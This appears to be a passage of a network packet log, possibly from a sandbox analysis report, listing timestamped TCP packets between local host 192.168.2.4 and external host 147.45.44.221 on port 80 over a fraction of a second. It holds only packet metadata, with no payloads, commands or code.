Oct 21, 2024 08:47:22.374128103 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.374151945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.374161005 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.374186039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.374191999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.374217987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.374224901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.374248981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.374259949 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.374280930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.374294043 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.374311924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.374325037 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.374344110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.374352932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.374375105 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.374386072 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.374416113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.416126013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.416199923 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.416251898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.461704016 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.461740971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.461772919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.461776018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.461802959 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.461815119 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.484343052 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.484371901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.484390020 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.484404087 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.484411001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.484437943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.484446049 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.484471083 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.492325068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.492379904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.492386103 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.492417097 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.492429972 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.492461920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.492470026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.492496967 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.492508888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.492539883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.492547989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.492573977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.492578030 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.492604971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.492614031 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.492636919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.492644072 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.492671013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.492671967 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.492707968 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.492769003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.492799997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.492810011 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.492837906 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.492849112 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.492880106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.492888927 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.492918015 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.492928028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.492966890 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.492979050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493019104 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493026972 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493057013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493062019 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493099928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493105888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493135929 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493144989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493168116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493175030 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493205070 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493216991 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493257999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493283033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493320942 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493324995 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493362904 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493369102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493397951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493411064 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493428946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493438005 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493460894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493469954 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493494987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493506908 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493527889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493532896 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493557930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493566036 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493590117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493596077 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493621111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493629932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493653059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493658066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493680000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493685961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493710995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493711948 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493742943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493752003 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493773937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493782997 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493805885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493810892 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493835926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493845940 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493866920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493875027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493900061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.493906975 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.493937969 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.581119061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.581155062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.581187963 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.581226110 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.581259966 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.603709936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.603743076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.603775978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.603986025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.603986025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.611583948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.611635923 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.611684084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.611704111 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.611732006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.611737013 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.611763000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.611778975 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.611794949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.611803055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.611826897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.611836910 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.611860037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.611870050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.611891031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.611898899 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.611924887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.611928940 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.611965895 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612037897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612078905 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612080097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612121105 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612131119 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612166882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612170935 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612207890 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612214088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612255096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612262964 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612293959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612298965 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612332106 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612340927 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612368107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612380981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612407923 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612416029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612457991 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612478971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612509012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612520933 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612546921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612560034 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612586975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612600088 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612626076 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612632990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612669945 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612680912 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612709999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612724066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612746000 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612828970 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612860918 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612870932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612900019 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612907887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612940073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612951994 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.612972021 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.612981081 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.613013029 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.613018036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.613049984 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.613060951 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.613075972 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.613090038 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.613106966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.613116026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.613138914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.613147020 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.613173008 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.613181114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.613204002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.613212109 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.613234997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.613243103 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.613267899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.613270998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.613296032 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.613306999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.613327026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.613339901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.613358021 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.613368034 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.613389969 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.613399982 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.613425970 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.613431931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.613451958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.613466024 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.613482952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.613491058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.613516092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.613523960 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.613548994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.613559961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.613593102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.700599909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.700637102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.700654030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.700767994 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.723081112 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.723170042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.723186016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.723202944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.723355055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.723409891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.731069088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731152058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.731157064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731189013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731215000 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.731268883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731272936 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.731300116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731329918 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.731333017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731400967 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.731416941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731466055 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731489897 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.731497049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731529951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731575966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731586933 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.731607914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731635094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731673002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.731682062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731705904 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.731729984 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731740952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.731759071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731775045 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.731791019 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731801033 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.731834888 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.731837988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731883049 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.731884003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731930971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.731933117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.731978893 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.731986046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732017994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732029915 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732049942 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732063055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732094049 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732095957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732126951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732140064 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732157946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732172966 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732203960 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732207060 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732251883 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732256889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732300043 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732304096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732335091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732351065 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732377052 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732383013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732414007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732445002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732460022 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732461929 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732489109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732534885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732536077 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732568026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732590914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732598066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732615948 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732633114 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732639074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732662916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732681036 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732693911 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732707024 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732723951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732738972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732754946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732768059 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732781887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732800007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732815027 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732824087 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732847929 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732856989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732877970 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732892990 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732909918 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732923031 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732935905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732954979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732965946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.732976913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.732997894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.733011007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.733028889 CEST	80	49732	147.45.44.221	192.168.2.4
